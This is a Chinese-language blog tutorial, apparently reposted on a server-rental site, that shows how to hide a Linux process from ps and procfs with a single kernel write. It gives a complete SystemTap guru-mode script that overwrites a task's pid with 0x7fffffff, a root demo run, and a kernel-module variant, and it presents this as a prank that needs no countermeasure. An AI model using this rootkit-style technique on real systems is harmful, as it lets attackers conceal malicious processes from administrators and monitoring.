總有朋友問隱藏Linux進程的方法，我說你想隱藏到什么程度，是大隱于內核，還是小隱于用戶。

網上通篇論述的無外乎hook掉procfs或者類似的用戶態(tài)方案，也都難免長篇大論，我說，這些場面都太大了，太復雜了。對于希望馬上看到效果的而言，看到這么一堆復雜的東西，大概率望而卻步。

本文介紹一種將Linux進程小隱于用戶的非常規(guī)方法，僅僅一行代碼：

修改掉進程的pid即可。

注意是小隱，所以，不值得反制，逗一下高級會議工程師搞個惡作劇玩玩得了。
target->pid = 0x7fffffff;

完整的腳本如下：

#!/usr/bin/stap -g
# hide.stp
global pid;
function hide(who:long)
%{
 struct task_struct *target;
 target = pid_task(find_vpid(STAP_ARG_who), PIDTYPE_PID);
 target->pid = 0x7fffffff;
%}
probe begin
{
 pid = $1
 hide(pid);
 exit();
}

來來來，試一下：

[root@localhost system]# ./tohide &
[1] 403
[root@localhost system]# ./hide.stp
[root@localhost system]# 

用下面的命令可以檢測所有可顯示進程的二進制文件：

for pid in $(ls /proc|awk '/^[0-9]+/{print $1}'); do 
 ls -l /proc/$pid/exe; 
done

procfs里沒了，ps當然就檢測不到了。

如果你覺得guru模式的stap怪怪的，那么你完全可以編寫自己獨立的Linux kernel module，采用修改完即退的方法：

target->pid = xxxx;
return -1;

是不是比各種hook法簡單多了，所謂的 動數據而不要動代碼！

簡單的說一下原理。

• task被創(chuàng)建的時候，根據其pid注冊procfs目錄結構。
• 展示procfs目錄結構的時候，遍歷task list以其pid作為key來查找procfs目錄結構。
• 0x7fffffff(或者任何其它合理的值)根本沒有注冊過，當然無法顯示。

不多說。

再次聲明，不要試圖對本文所描述的方法進行反制，因為這么簡單的東西根本不值得反制，哈哈，不是嗎？

可以參考我之前的Rootkit系列文章來繼續(xù)研究Linux進程大隱于內核的方法。同時，每一種方法我都給出了反制措施。

到此這篇關于一行代碼教你如何隱藏Linux進程的文章就介紹到這了,更多相關Linux隱藏進程內容請搜索本站以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持本站！

美國服務器租用

版權聲明：本站文章來源標注為YINGSOO的內容版權均為本站所有，歡迎引用、轉載，請保持原文完整并注明來源及原文鏈接。禁止復制或仿造本網站，禁止在非www.sddonglingsh.com所屬的服務器上建立鏡像，否則將依法追究法律責任。本站部分內容來源于網友推薦、互聯網收集整理而來，僅供學習參考，不代表本站立場，如有內容涉嫌侵權，請聯系alex-e#qq.com處理。